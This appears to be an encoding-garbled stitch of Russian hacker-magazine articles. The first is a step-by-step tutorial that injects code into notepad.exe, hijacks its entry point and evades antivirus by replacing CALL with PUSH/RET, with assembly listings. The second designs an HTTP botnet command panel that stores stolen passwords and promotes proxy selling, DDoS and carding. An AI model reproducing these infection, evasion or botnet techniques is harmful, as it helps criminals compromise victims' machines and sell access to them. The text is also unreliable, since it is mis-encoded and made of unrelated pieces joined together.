Áåðåì âñå òîò æå HTE, ïðèâû÷íûì äâèæåíèåì ðóêè äàâèì <F6> (mode),
«pe/header» è ñìîòðèì àòðèáóòû ñåêöèè .text (â íåêîòîðûõ ñëó÷àÿõ îíà íà-
çûâàåòñÿ CODE èëè êàê-òî åùå). Êàê áûñòðî ïåðåéòè â êîíåö ñåêöèè .text?
Î÷åâèäíî, íåîáõîäèìî ïåðåìåñòèòüñÿ íà íà÷àëî ñëåäóþùåé ñåêöèè (â íà-
øåì ñëó÷àå ýòà ñåêöèÿ .data), à çàòåì âåðíóòüñÿ íà îäèí áàéò íàçàä.
Ïåðåâîäèì HTE â ðåæèì ñòðàíè÷íîãî èìèäæà (<F6>, pe/image), äàâèì <F5>
(goto) è ãîâîðèì section(".data"), çàñòàâëÿÿ ðåäàêòîðà ïåðåéòè ê íà÷àëó ñåê-
öèè .data. Ïåðåâîäèì êóðñîð íà íåñêîëüêî ñòðîê ââåðõ è� çäðàâñòâóé,
õâîñò ñåêöèè .text! Íóëåâûå áàéòû (êîòîðûì ñîîòâåòñòâóåò àññåìáëåðíàÿ
êîìàíäà add [eax],al) íèêåì íå çàíÿòû è ìîãóò èñïîëüçîâàòüñÿ ïî íàøåìó
óñìîòðåíèþ. Â äàííîì ñëó÷àå çäåñü ñîäåðæèòñÿ 38h áàéò. Õì, íå ñëèøêîì-
òî äëèííûé õâîñò. Áûâàþò è ïîäëèííåå!
[ñèñòåìíûå âûçîâû è áèáëèîòå÷íûå ôóíêöèè] Áàöèëëà  äîëæíà

ïîèñê ìåñòà äëÿ âíåäðåíèÿ áàöèëëû â ðåäàêòîðå HTE îñíîâíûå ïîëÿ äðîçîôèëû, îòâåòñòâåííûå çà âíåäðåíèå áàöèëëû [X
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Î÷åíü ÷àñòî â ôàéëîîáìåí-
íûõ ñåòÿõ ìîæíî âñòðåòèòü
ïðîòðîÿíåííûå êåì-íèáóäü
ïðèëîæåíèÿ. Ïðî÷òåíèå
ýòîé ñòàòüå ÷óòü ëè íå ãà-
ðàíòèðóåò òåáå, ÷òî ñ äèçàñ-
ñåìáëåðîì èëè îòëàä÷èêîì
â ðóêàõ òû ñìîæåøü çàñå÷ü
ãàäêèé êîä â ïðîãðàììå è
èçáàâèòüñÿ îò íåãî.

Íà äèñêå ê æóðíàëó,
îáëàäàÿ íåêîòîðîé óäà÷åé,
òû ñìîæåøü îáíàðóæèòü
âñå èñõîäíûå êîäû,
îïèñàííûå â ýòîé ñòàòüå.



Ïîñêîëüêó ýòî íå ñîâñåì îáû÷íûé
ôàéë, òî òðàíñëÿòîð äîëæåí çíàòü ñ êà-
êîãî àäðåñà íà÷èíàòü àññåìáëèðîâà-
íèå. Ìû ðåøèëè âíåäðÿòüñÿ â äðîçîôè-
ëó ñî ñìåùåíèÿ 300h, òàê? Áàçîâûé àä-
ðåñ çàãðóçêè ðàâåí 1000000h, ñëåäîâà-
òåëüíî, ïåðâûé áàéò áàöèëëû ñîîòâåò-
ñòâóåò àäðåñó 1000300h. Òàê è çàïèøåì:
ORG 1000300h. ORG � ýòî äèðåêòèâà,
îòâå÷àþùàÿ çà áàçèðîâàíèå ôàéëà.
Åùå íåîáõîäèìî óêàçàòü USE32, ÷òî-
áû FASM çíàë, ÷òî ýòî 32-ðàçðÿäíûé
êîä. Âîò, ñîáñòâåííî, è âñå îòëè÷èÿ îò
íîðìàëüíûõ ôàéëîâ. Äàëüøå ìîæíî
êîäèòü êàê îáû÷íî. Àõ äà, ÷óòü áûëî
íå çàáûë. Âåäü ýòî notepad.exe ïîä
Windows NT è, ñëåäîâàòåëüíî, ASCII-
ôóíêöèé â íåì íåò, à èìïîðòèðîâàòü
èõ âðó÷íóþ íàì ëåíü. Ïîñêîëüêó,
FASM íå ïîääåðæèâàåò óíèêîäà, ïå-
ðåêîäèðîâêó ïðèäåòñÿ îñóùåñòâëÿòü ñàìîñòîÿòåëüíî. Â FAR'å äëÿ ýòîãî
ìîæíî íàáðîñàòü ñëåäóþùèé ìàêðîñ: "' Right ' , 0 ," (îäèíàðíàÿ êàâû÷êà,
ñòðåëêà âëåâî, îäèíàðíàÿ êàâû÷êà, çàïÿòàÿ, íîëü, çàïÿòàÿ), êîòîðûé áóäåò
ïðåîáðàçîâûâàòü ASCII ñòðîêè â UNICODE. Ïðàâäà, òîëüêî íà àíãëèéñêîì
ÿçûêå. Ñ ðóññêèì âñå î÷åíü çàìîðî÷åíî. Ïðîùå âñåãî âçÿòü notepad.exe,
çàïèñàòü â íåì ñòðîêó, ñîõðàíèòü, êàê óíèêîä, è âñòàâèòü ïîëó÷èâøèéñÿ
ôàéë â èñõîäíûé òåêñò ïðè ïîìîùè db.
Çàêîí÷åííûé òåêñò ïðîãðàììû ìîæåò âûãëÿäåòü, íàïðèìåð, òàê:

[èñõîäíûé òåêñò ïðîñòåéøåé áàöèëëû, ïðèçíàþùèéñÿ â ëþáâè]

org 1000300h ; àäðåñ íà÷àëà áàöèëëû â ïàìÿòè
use32 ; 32-ðàçðÿäíûé êîä

pushad ; ñîõðàíÿåì âñå ðåãèñòðû
xor eax,eax ; EAX := 0
push eax ; uType (äèàëîã ñ êíîïêîé ÎÊ)
push caption ; óêàçàòåëü íà çàãîëîâîê
push text ; óêàçàòåëü íà òåêñò â îêíå
push eax ; hWnd (íåò âëàäåëüöà)
call dword [1001204h] ; MessageBoxW
popad ; âîññòàíàâëèâàåì ðåãèñòðû
jmp 100299Eh ; ïåðåäàåì óïðàâëåíèå WinMain
ret ; âîçâðàùàåìñÿ â ñòàðòîâûé êîä

caption db 'h',0,'e',0,'l',0,'l',0,'o',0,0,0
text db 'I',0,' ',0,'l',0,'o',0,'v',0,'e',0,' ',0,'y',0,'o',0,'u',0,0,0

Àññåìáëèðóåì ïðîãðàììó FASM'îì è íà âûõîäå ïîëó÷àåì äâîè÷íûé ôàéë (äëÿ
îïðåäåëåííîñòè ïóñòü ýòî áóäåò inject.bin). Çàïóñêàåì HTE, îòêðûâàåì
notepad.exe è òóò æå îòêðûâàåì inject.bin (<F3> (open)). Ïðè ïîìîùè øèôòà âû-
äåëÿåì âåñü êîä áàöèëëû è æäåì <Ctrl-Ins> äëÿ êîïèðîâàíèÿ â áóôåð îáìåíà.
Ïåðåêëþ÷àåìñÿ íà notepad.exe (<Alt-2>), íàõîäÿñü â hex-ðåæèìå, ïîäâîäèì
êóðñîð ê ñìåùåíèþ 300h è íàæèìàåì <Shift-Ins>, ÷òîáû âñòàâèòü. Ñîõðàíÿåì
èçìåíåíèÿ ïî <F2> è� îòêðûâàåì êâàñ (ïèâî, êîëó, ñâåæåâûæàòûé ïåðñèêî-
âûé ñîê � íóæíîå ïîä÷åðêíóòü). Ïåðâûé ýòàï âíåäðåíèÿ çàâåðøåí. Òåïåðü
ìîæíî ïîñëóøàòü Burning Point, ñîáðàòüñÿ ñ ìûñëÿìè è íåìíîãî ðàññëàáèòüñÿ.
È âîò íàñòóïàåò ïîñëåäíèé ðåøèòåëüíûé ýòàï: ïåðåõâàò óïðàâëåíèÿ ó
WinMain, òî÷êà âûçîâà êîòîðîé, êàê ìû ïîìíèì, ëåæèò ïî àäðåñó 1006571h.
Ïåðåâîäèì HTE â äèçàññåìáëåðíûé ðåæèì (<F6> (mode), pe/image), æìåì
<F5> (goto) è ãîâîðèì: 1006571h. Òåïåðü íàæèìàåì <Ctrl-A> (Assemble) è ââî-
äèì "CALL 1000300h", ãäå 1000300h � àäðåñ íà÷àëà áàöèëëû. Êñòàòè ãîâîðÿ,
HIEW äëÿ ýòîé öåëè íåïðèãîäåí, ïîñêîëüêó íåïðàâèëüíî àññåìáëèðóåò êîä, è
âñå ëåòèò ê ÷åðòó. Âî âñÿêîì ñëó÷àå, âåðñèÿ 6.09 âåäåò ñåáÿ èìåííî òàê, à áî-

ëåå ïîçäíèå ÿ íå ïðîâåðÿë. Çà÷åì
ïëàòèòü äåíüãè çà êîììåð÷åñêèé
HIEW, êîãäà åñòü è áåñïëàòíûå
HEX-ðåäàêòîðû íå õóæå!?
HTE âñå àññåìáëèðóåò ïðàâèëü-
íî, íî ïåðåõîäèòü ê áàöèëëå ïî
ïåðåêðåñòíîé ññûëêå íàîòðåç îò-
êàçûâàåòñÿ, ñ÷èòàÿ, ÷òî åå íåò.
Íåò � è íå íàäî. Íàæèìàåì <F2>
(save), ÷òîáû èçìåíåíèÿ âîçûìå-
ëè ñèëó è âûõîäèì ïî <F10>.
C çàìèðàíèåì ñåðäöà çàïóñêàì
notepad.exe è� Îòîðâàòü ìûùúõ'ó
õâîñò, ýòî ðàáîòàåò! 

[îáõîä àíòèâèðóñîâ] È âñå áû
áûëî ó íàñ õîðîøî, åñëè áû àíòè-
âèðóñû íè ðóãàëèñü íà èíôèöèðî-
âàííûé ôàéë. À îíè ðóãàþòñÿ, ïðè-
÷åì ìàòîì, ÷òî ïîðòèò íàì âåñü

áèçíåñ è ñîçäàåò óãðîçó îòðûâà õâîñòà è äåòîðîäíîãî îðãàíà âìåñòå ñ íèì.
Âåðíåìñÿ ê àäðåñó 1006571h, â êîòîðîì ïðîèñõîäèò ïåðåäà÷à óïðàâëåíèÿ
íà áàöèëëó, è ïîñìîòðèì, ÷òî òóò ìîæíî ïðåäïðèíÿòü:

[îêðåñòíîñòè òî÷êè, â êîòîðîé ïðîèñõîäèò ïåðåõâàò óïðàâëåíèÿ]

100656a: call dword ptr [KERNEL32.dll:GetModuleHandleA]
1006570: push eax
1006571: call 1000300h
1006576: mov [ebp-68h], eax
1006579: push eax
100657a: call dword ptr [MSVCRT.dll:exit]

Î÷åâèäíî, àíòèâèðóñ îòñëåæèâàåò êîìàíäó CALL, ýìóëèðóÿ åå âûïîëíå-
íèå. À êàê íà ñ÷åò ïåðåäà÷è óïðàâëåíèÿ ÷åðåç ret? Èíòåðåñíî, ñìîæåò ëè
îí ñ íèì ñïðàâèòüñÿ? Äàâàé, çàìåíèì CALL 1000300h íà PUSH
1000300h/RET. Ýòî âåäü íåñëîæíî. Ïðàâäà, âîçíèêàåò îäíà ïðîáëåìà �
÷èñòûé CALL íà áàéò êîðî÷å è ýòîãî ñàìîãî áàéòà íàì êàê ðàç íå õâàòàåò!
Ê ñ÷àñòüþ, ñëåäîì çà CALL'îì ðàñïîëîæåíà êîìàíäà MOV [EBP-68h], EAX,
êîïèðóþùàÿ êîä âîçâðàòà â ëîêàëüíóþ ïåðåìåííóþ, à êîìó îí ñåé÷àñ íó-
æåí? Ïîýòîìó ìû ìîæåì ñìåëî îòòÿïàòü îò íåå îäèí áàéò è ïåðåêðûòü îñ-
òàâøèåñÿ äâà áàéòà îïåðàöèÿìè NOP. Êàê âàðèàíò, ìîæíî ïåðåíåñòè
÷àñòü Start-Up êîäà âíóòðü áàöèëëû, íî â íàøåì ñëó÷àå ýòî èçëèøíå.
Ïîäâîäèì êóðñîð ê 1006571h, æìåì <Ctrl-A> è ïèøåì PUSH
1000300h/RET/NOP/NOP. Ê ñîæàëåíèþ, HTE ïîçâîëÿåò àññåìáëèðîâàòü
òîëüêî îäíó êîìàíäó çà ðàç, ïîýòîìó æàòü <Ctrl-A> ïðèõîäèòñÿ ìíîãîêðàò-
íî. Åùå íåîáõîäèìî â òåëå áàöèëëû çàìåíèòü JMP 100299Eh/RET íà
CALL 100299Eh/JMP 1006579h (ìû âåäü çàìåíèëè CALL íà ýêâèâàëåíò
JMP'à, ïîýòîìó äëÿ äîñòèæåíèÿ ãàðìîíèè íåîáõîäèìî ïðîäåëàòü îáðàò-
íóþ åìó îïåðàöèþ).
Ñîõðàíÿåì èçìåíåíèÿ ïî <F2>, âûõîäèì è çàïóñêàåì. Áàöèëëà ðàáî-
òàåò êàê ìèëåíüêàÿ, íî àíòèâèðóñ óæå íå ðóãàåòñÿ. Îáèäåëñÿ, íàâåð-
íîå. Èëè óñíóë.
Âîîáùå, ýòî íå ñàìûé íàäåæíûé àíòèàíòèâèðóñíûé ïðèåì, çàòî ñà-
ìûé ïðîñòîé! Îñòàëüíûå ìîæíî íàéòè â ñòàòüå «òåõíèêà âûæèâàíèÿ
â ìóòíîé âîäå èëè êàê îáóòü àíòèâèðóñ», îïóáëèêîâàííîé â îäíîì èç
íîìåðîâ Õàêåðà.

[çàêëþ÷åíèå] Ñîçäàííàÿ íàìè áàöèëëà ïðåäåëüíî ïðîñòà è ïîëüçû îò
íåå íåìíîãî. Íî âåäü è âðåäà íèêàêîãî! Áîëåå ñëîæíûå ïðîãðàììû ïèøóò-
ñÿ àíàëîãè÷íûì ñïîñîáîì è êàæäûé èç íàñ ñìîæåò ñïðàâèòüñÿ ñ ýòîé çàäà-
÷åé ñàìîñòîÿòåëüíî, òàê ÷òî íå áóäåì îõëàæäàòü òâîð÷åñêèé ñòèìóë è âû-
äàâàòü íà ãîðà êó÷ó ãîòîâûõ ïîëóôàáðèêàòîâ. Òâîðè 
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ÒÛ, ÊÎÍÅ×ÍÎ ÆÅ, ×ÈÒÀË Â ÍÀØÅÌ ÆÓÐÍÀËÅ
ÑÒÀÒÜÈ Î ÑÎÇÄÀÍÈÈ ÑÎÁÑÒÂÅÍÍÎÃÎ ÁÎÒ-
ÍÅÒÀ. ÌÓÄÐÛÅ ÀÂÒÎÐÛ Â ÊÎÄÈÍÃÅ ÐÀÑÑÊÀ-
ÇÀËÈ ÒÅÁÅ ÂÑÞ ÏÐÀÂÄÓ Î ÒÎÌ, ÊÀÊ ÌÎÆÍÎ
ÍÀÏÈÑÀÒÜ ÝËÈÒÍÎÃÎ ÒÐÎßÍÀ, ÊÎÒÎÐÎÌÓ
ÍÈÏÎ×ÅÌ ÍÈ ÔÀÉÐÂÎËÛ, ÍÈ ÊÀÑÏÅÐÑÊÈÉ
ÑÎ ÑÂÎÈÌ ÀÍÒÈÂÈÐÓÑÎÌ, ÍÈ ÄÀÆÅ ÎÏÛÒ-
ÍÛÉ È ÂÍÈÌÀÒÅËÜÍÛÉ ÏÎËÜÇÎÂÀÒÅËÜ. ÓØ-
ËÛÅ ÄßÄÜÊÈ ÂÎ ÂÇËÎÌÅ ÏÎÂÅÄÀËÈ ÒÅÁÅ,
ÊÀÊ ÌÎÆÍÎ ÂÏÀÐÈÒÜ ÒÀÊÎÃÎ ÒÐÎßÍÀ È ÇÀ-
ÐÀÇÈÒÜ ÏÀÐÓ ÒÛÑß× ÌÀØÈÍ. ÑÅÉ×ÀÑ ÆÅ
ÏÐÈØËÎ ÂÐÅÌß ÐÀÇÎÁÐÀÒÜÑß Ñ ÒÅÌ, ÊÀÊ
ÍÀÏÈÑÀÒÜ ÏÐÎÄÂÈÍÓÒÓÞ ÑÈÑÒÅÌÓ ÄËß ÓÏ-
ÐÀÂËÅÍÈß ÁÎÒÀÌÈ. ÂÅÄÜ ÊÀÊÈÌÈ ÁÛ ÓÌÍÛ-
ÌÈ È ÌÎÙÍÛÌÈ ÍÅ ÁÛËÈ ÒÂÎÈ ÁÎÉÖÛ, ÁÅÇ
ÄÎÑÒÎÉÍÎÃÎ È ÀÂÒÎÐÈÒÅÒÍÎÃÎ ÊÎÌÀÍÄÈ-
ÐÀ È ÑÈËÜÍÎÉ ÀÐÌÈÈ ÍÅ ÏÎËÓ×ÈÒÑß | eto'o
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[concept] Ïðåæäå âñåãî, ÿ îáúÿñíþ, î êàêèõ èìåííî áîòíåòàõ ìû ãîâîðèì.
Òû íå ðàç ñëûøàë è äàæå ÷èòàë â íàøåì æóðíàëå, ÷òî áîòû óïðàâëÿþòñÿ
ïî IRC � ê ïðèìåðó, â èþíüñêîì íîìåðå Ôîðá ïèñàë î áåñïàëåâíîé íàñò-
ðîéêå ircd, à â èþëå Êðèñ ðàññêàçûâàë, êàê ìîæíî óâåñòè IRC-áîòíåò.
Äåéñòâèòåëüíî, äî íåäàâíåãî âðåìåíè ñóùåñòâåííàÿ ÷àñòü áîòíåòîâ óïðàâ-
ëÿëàñü ïî IRC. Ãëàâíàÿ ïðè÷èíà ýòîìó çàêëþ÷àåòñÿ îòíþäü íå â óäîáñòâå
òàêîãî ïîäõîäà, à â òîì ïðèñêîðáíîì ôàêòå, ÷òî ÷óòü ëè íå åäèíñòâåííûé,
äîñòóïíûé íàõàëÿâó áîò Agobot ñ åãî ñîòíÿìè ïåðåäåëîê, èñïîëüçóåò èìåí-
íî òàêóþ êîíöåïöèþ.
Óñòàðåâøóþ êîíöåïöèþ, êîòîðàÿ åñòåñòâåííûì îáðàçîì îòìèðàåò, óñòóïàÿ
äîðîãó áîëåå ïðîãðåññèâíûì òåõíîëîãèÿì. Ñåé÷àñ ïîñëå ðÿäà ïóáëèêàöèé
â «êîäèíãå» è «âçëîìå», ïî èäåå ó òåáÿ íå äîëæíî áûòü ïðîáëåìû ñîîðó-
äèòü ñîáñòâåííîãî áîòà, êîòîðûé áóäåò ïîëó÷àòü êîìàíäû è óïðàâëÿòüñÿ
÷åðåç HTTP. Êîíöåïöèÿ çäåñü ñëåäóþùàÿ. Áîò ïîäêëþ÷àåòñÿ ê web-ñåðâå-
ðó, îòïðàâëÿåò ýëåìåíòàðíûé GET-çàïðîñ íà ïîëó÷åíèå îïðåäåëåííîãî
ôàéëà è â êà÷åñòâå îòâåòà ïîëó÷àåò íåêîòîðóþ êîìàíäó, êîòîðóþ è íà÷èíà-
åò âûïîëíÿòü. Íà ïðàêòèêå îêàçûâàåòñÿ ÷ðåçâû÷àéíî óäîáíî âìåñòî ñòà-
òè÷íîãî òåêñòîâîãî ôàéëà ñ êîìàíäîé èñïîëüçîâàòü ïðîãðàììó, íàïèñàí-
íóþ íà îäíîì èç ÿçûêîâ, ïðèãîäíûõ äëÿ èñïîëüçîâàíèÿ â web-ñðåäå, êîòî-
ðàÿ áóäåò ïðîèçâîäèòü ðåãèñòðàöèþ áîòîâ è âûâîäèòü èì êîìàíäû. Ïðè
ýòîì ñ òî÷êè çðåíèÿ êëèåíòîâ ñèòóàöèÿ íè÷óòü íå ìåíÿåòñÿ: âñå òàêæå çàï-
ðàøèâàåòñÿ GET /file è ïîëó÷àåòñÿ êîìàíäà. Áîòó è íåâäîìåê, ÷òî íà ñåðâå-
ðå âûïîëíÿåòñÿ ñïåöèàëüíàÿ ïðîãðàììà, êîòîðàÿ ðåãèñòðèðóåò îáðàùåíèå,
çàíîñèò èíôîðìàöèþ â ñèñòåìíûé æóðíàë è ãåíåðèðóåò ïðèêàç.

[plus-plus] Êàêèå ïëþñû ó òàêîãî ïîäõîäà? Èõ ìíîãî, ñ÷èòàé ñàì:

1Ëåãêîñòü îðãàíèçàöèè. Ïðèâåñòè òàêóþ ñèñòåìó â ñîñòîÿíèå ãîòîâíîñòè,
åñëè åñòü ðàáî÷èé ñêðèïò � äåëî, ñàìîå áîëüøîå, ïÿòè ìèíóò. Òåáå íå ïîò-
ðåáóåòñÿ íàñòðàèâàòü íèêàêîé äîïîëíèòåëüíûé ñîôò, íå ïðèäåòñÿ âîçèòü-
ñÿ ñ íàñòðîéêàìè, ïîäíÿòü ñèñòåìó ìîæíî íà ëþáîì õîñòå, ãäå ìîæíî âû-
ïîëíÿòü web-ïðîãðàììû.

2Ñòàáèëüíîñòü è áåçîïàñíîñòü. Â ñàìîì äåëå, çàìàñêèðîâàòü òàêîé ñåð-
âèñ � äåëî ýëåìåíòàðíîå. Ñêàæó òåáå ïî ñåêðåòó, ìîæíî ñäåëàòü òàê, ÷òî
ñíàðóæè íè÷åãî çàìåòèòü áóäåò ïðîñòî íåðåàëüíî.

3Áëàãîäàðÿ conn-back êîíöåïöèè, êëèåíòû ñ «ñåðûìè» àäðåñàìè áóäóò
òàêæå â îáîéìå. Óñòàíîâèòü íà íèõ socks-ñåðâåð êîíå÷íî íå ïîëó÷èòñÿ, íî
â êà÷åñòâå DDoS-áîòà çàþçàòü ìîæíî.

4Âîçìîæíîñòü èíäèâèäóàëüíîé ðàáîòû. Ñòàíîâèòñÿ ðåàëüíûì, ïðè èñ-
ïîëüçîâàíèè íåêîòîðîé èäåíòèôèöèðóþùåé êëèåíòîâ èíôîðìàöèè (ip-àä-
ðåñ, óíèêàëüíûé fingerprint ñèñòåìû èëè èíîé ïàðàìåòð), âàðüèðîâàòü âû-
ïîëíÿåìûå êîìàíäû. Ê ïðèìåðó, çàõâà÷åííûå ìàøèíû èç ÑØÀ è Åâðîïû
ðàçóìíî èñïîëüçîâàòü äëÿ socks-ñåðâèñà, â òî âðåìÿ, êàê ðîññèéñêèå ìà-
øèíêè èñïîëüçîâàòü äëÿ êàðäèíãà íåëüçÿ, è ïîýòîìó èç íèõ ïîëó÷àòñÿ õî-
ðîøèå DDoS-áîòû èëè ñïàì-ðåëåè. Áîëåå òîãî, åñëè ïîäêëþ÷èòü ê ñâîåìó

Ïèøåì óìíóþ ñèñòåìó
óïðàâëåíèÿ áîòíåòîì



ñûâàòü, ðàññêàçûâàÿ î ðàçëè÷íûõ ÷àñòÿõ ñèñòåìû, ÷òîáû òû ëó÷øå ïðåäñ-
òàâëÿë íàçíà÷åíèå òîãî èëè èíîãî ïîëÿ.
Íà÷íåì ñ ñàìîãî ãëàâíîãî � ñ ðåãèñòðàöèè áîòîâ è âûäà÷å êîìàíäû äëÿ
âûïîëíåíèÿ.
Ïåðâûì äåëîì ñîçäàäèì òàáëèöó bots, êîòîðàÿ èìååò ñëåäóþùóþ ñòðóêòóðó:

[ñòðóêòóðà òàáëèöû bots]

CREATE TABLE BOTS (
ID INT NOT NULL PRIMARY KEY,
IP VARCHAR(15),
EXTENDED VARCHAR(300)

);

Çäåñü ID � ýòî óíèêàëüíûé êëþ÷, êîòîðûé ãåíåðèðóåòñÿ ñàìèì áîòîì ïðè
óñòàíîâêå â ñèñòåìå. Ïðè êàæäîì îáðàùåíèè ê ñêðèïòó áîò ïåðåäàåò ÷åðåç
GET-çàïðîñ ïàðàìåòð id, â êîòîðîì íàõîäèòñÿ ýòîò èäåíòèôèêàòîð. Ñîîòâå-
òñòâåííî, ïðè êàæäîì îáðàùåíèè ñöåíàðèé äîëæåí ïðîâåðÿòü, åñòü ëè â
òàáëèöå bots çàïèñü ñ òàêèì èäåíòèôèêàòîðîì è, åñëè íåò, äîáàâëÿòü òà-
êóþ ñòðî÷êó, ôàêòè÷åñêè ðåãèñòðèðóÿ íîâîãî áîòà. Íóæíî òàêæå ïîíèìàòü,
÷òî òèï INT, êîòîðûé ÿ óêàçàë â ýòîé òàáëèöå äëÿ ïîëÿ ID, ìîæåò áûòü çà-
ìåíåí íà ëþáîé äðóãîé, èñõîäÿ èç òîãî, êàê ðàáîòàåò áîò: ê ïðèìåðó, åñëè
ãåíåðèðóåìûé êëþ÷ � ýòî øåñòíàäöàòåðè÷íîå ÷èñëî, èëè ïðîèçâîëüíàÿ
ñòðîêà, íóæíî ïîìåíÿòü INT íà VARCHAR.
Èäåì äàëüøå. Â ïîëå IP çàïèñûâàåòñÿ àäðåñ âíåøíåãî ñåòåâîãî èíòåðôåé-
ñà ïîëüçîâàòåëÿ. Ñàìî ñîáîé, ÷òî åñëè þçåð ðàáîòàåò ÷åðåç ëîêàëüíóþ
ñåòü ñ «ñåðîé» àäðåñàöèåé, ñþäà áóäåò çàïèñûâàòüñÿ âíåøíèé ip-àäðåñ åãî
øëþçà. Ïîìèìî ïåðåìåííîé id, áîò òàêæå ìîæåò ïåðåäàâàòü ñöåíàðèþ íà-
áîð íåêîòîðûõ ñâîéñòâ ïîëüçîâàòåëüñêîãî êîìïüþòåðà: ýòî ìîæåò áûòü, ê
ïðèìåðó, èíôîðìàöèÿ î âíóòðåííèõ ñåòåâûõ èíòåðôåéñàõ, èëè íàéäåííûå
â ñèñòåìå ïàðîëè, èëè èíôîðìàöèÿ îá èñïîëüçóåìîì æåëåçå � ÷òî óãîäíî.
Îáðàòè âíèìàíèå, ÷òî çäåñü ïî÷òè íåò îãðàíè÷åíèé íà êîëè÷åñòâî è, ãëàâ-
íîå, ñòðóêòóðó ñâîéñòâ áîòà. Âåäü â ðàçíûõ ñèñòåìàõ ìîãóò íàëàãàòüñÿ ðàç-
ëè÷íûå òðåáîâàíèÿ è áîò ìîæåò èìåòü ðàçëè÷íûå ñâîéñòâà.
Îäíàêî ýòà ñâîáîäà íàêàçóåìà: èíôîðìàöèÿ î ñâîéñòâàõ áîòà äîëæíà áûòü
çàïèñàíà â ñòðîãîì ôîðìàòå XML-äîêóìåíòà. ß ïðèâåäó ïðèìåð òàêîãî
îïèñàíèÿ, ÷òîáû òåáå áûëî ïîíÿòíåå:

[ïðèìåð XML-äîêóìåíòà ñî ñâîéñòâàìè áîòà]

<info>
<param name="email" symbolic="Ïàðîëè îò e-mail">
host.ru:login:c00lpa55worD
</param>
<param name="freq" symbolic="×àñòîòà ïðîöåññîðà">
2000
</param>
<param name="netbios" symbolic="Netbios-èìÿ">
station
</param>
<param name="external" symbolic="Âíåøíèé IP">
217.10.41.56
</param>
</info>

Íà ñàìîì äåëå, ýòà ôèøêà ñ XML áûëà ïðèäóìàíà, ÷òîáû îáåñïå÷èòü óíè-
âåðñàëüíîñòü è ðàñøèðÿåìîñòü ñèñòåìå. Âåäü äëÿ ðàçíûõ áîòîâ íàáîð
ñâîéñòâ ìîæåò áûòü ðàçëè÷íûì, è åñëè áû ÿ òóïî â òàáëèöå ñäåëàë ñòàòè÷-
íîå ÷èñëî ïîñòîÿííûõ ïîëåé, òî ïåðåäåëêà òàêîé ñèñòåìû çàêëþ÷àëàñü áû
â ïîëíîé ïåðåñòðîéêå òàáëèöû è ñêðèïòîâ. À â íàøåì ñëó÷àå íè÷åãî ïåðå-

äåëûâàòü íå íóæíî, íóæíî ëèøü ñîáëþäàòü óñòàíîâëåííûé
ôîðìàò çàïèñûâàåìûõ äàííûõ è îáåñïå÷èòü îäèíàêîâóþ
ñòðóêòóðó èíôîðìàöèè äëÿ âñåõ áîòîâ. Ïðè ýòîì îñîáî ñëåäó-
åò îòìåòèòü, ÷òî ñèñòåìà àâòîìàòè÷åñêè ïîçâîëèò ïðîèçâî-
äèòü ñîðòèðîâêó è ïîèñê ïî ñîäåðæèìîìó êàæäîãî ýëåìåíòà
<param>, äëÿ ðàñøèôðîâêè äàííûõ (ôàêòè÷åñêè, äëÿ ïîäïèñè
êîëîíîê òàáëèöû) áóäåò èñïîëüçîâàòüñÿ ñîäåðæèìîå ñâîéñòâà
symbolic, à ïàðàìåòð name áóäåò èñïîëüçîâàí âíóòðè ñöåíà-
ðèÿ ïðè âûáîðêå èíôîðìàöèè.
Âîîáùå ãîâîðÿ, òàêèå âåùè, êàê, íàïðèìåð, ïàðîëè îò ðàçëè÷-
íûõ ñåðâèñîâ � ýòî äàííûå, êîòîðûå ñàìè ïî ñåáå èìåþò íå-
êîòîðóþ ñòðóêòóðó: îíè ñîñòîÿò èç ëîãèíà, ïàðîëÿ è, ñîáñòâåí-
íî, óçëà àóòåíòèôèêàöèè. Ñîîòâåòñòâåííî, ïî áîëüøîìó ñ÷å-
òó, äëÿ êàæäîãî òàêîãî òèïà íóæíî áûëî ñîçäàâàòü îòäåëüíóþ
ñòðóêòóðó ñ ðàçäåëåííûìè ïîëÿìè, îäíàêî ÿ ïðåäïî÷åë äëÿ
óíèâåðñàëüíîñòè ïðèâåñòè ýòè äàííûå ê àòîìàðíîìó âèäó,
ðàçäåëèâ ïîëÿ ñèìâîëîì äâîåòî÷èÿ è ñêëåèâ èõ â ñòðîêó.

áîòíåòó íåñêîëüêî ìîùíûõ ñåðâå-
ðîâ íà êðóïíûõ êàíàëàõ, òî ðàçóìíî
äëÿ íèõ îðãàíèçîâûâàòü ñîáñòâåí-
íîå çàäàíèå, à íå èñïîëüçîâàòü â
îáùåé ìÿñîðóáêå.

5Ñáîð ïîäðîáíîé è êà÷åñòâåííîé
ñòàòèñòèêè. Ïîÿâëÿåòñÿ âîçìîæ-
íîñòü ñîïîñòàâèòü êàæäîìó èç ìíî-
ãèõ òûñÿ÷ òâîèõ áîòîâ îïðåäåëåí-
íûå ñâîéñòâà: ip-àäðåñ, ñèñòåìíûå
ïàðàìåòðû, âðåìÿ ping'à äî õîñòà,
ãåîãðàôè÷åñêîå ïîëîæåíèå, ñàéò,
ãäå áîò çàðàçèëñÿ è ò.ä. Ïðè ýòîì
áåç ïðîáëåì ìîæíî êàê ñîñòàâëÿòü
êðàòêèå îò÷åòû (îáùåå êîëè÷åñòâî
áîòîâ, ðàñïðåäåëåíèå ïî ðåãèîíàì,
ýôôåêòèâíîñòü òîé èëè èíîé çàðà-
æàþùåé ïëîùàäêè, ñðåäíèé, ìèíè-
ìàëüíûé è ìàêñèìàëüíûé ïèíã, äè-
íàìèêà çà ñóòêè è ò.ä. è ò.ï), òàê è ãå-
íåðèðîâàòü ïîäðîáíóþ âûáîðêó ïî
îïðåäåëåííûì ïàðàìåòðàì. Ê ïðè-
ìåðó, ïðè âåäåíèè socks-áèçíåñà
÷àñòî áûâàåò íåîáõîäèìî ïîëó÷èòü
ñïèñîê õîñòîâ, èìåþùèõ îïðåäå-
ëåííîå ãåîãðàôè÷åñêîå ïîëîæåíèå
(ïðèìåð � øòàò Âèñêîíñèí, ÑØÀ),
òàêæå íåîáõîäèìî âåñòè ñòàòèñòèêó
ïî óæå ïðîäàííûì õîñòàì, ÷òîáû íå
êèäàòü êëèåíòîâ.

6Ïðè èñïîëüçîâàíèè IRC âñå ÷ðåç-
âû÷àéíî ïðîçðà÷íî: çàøåë íà ñåð-
âåð, óâèäåë òàì òûñÿ÷ó íèêîâ íà îä-
íîì êàíàëå è ñðàçó âñå ñòàëî ïîíÿò-
íî. Çäåñü æå óïðàâëÿþùàÿ ïðîãðàì-
ìà ìîæåò ëåãêî îòëè÷àòü áîòà îò
îáû÷íîãî web-êëèåíòà (õîòÿ áû ïî òî-
ìó êðèòåðèþ, ÷òî âñå áðàóçåðû çà-

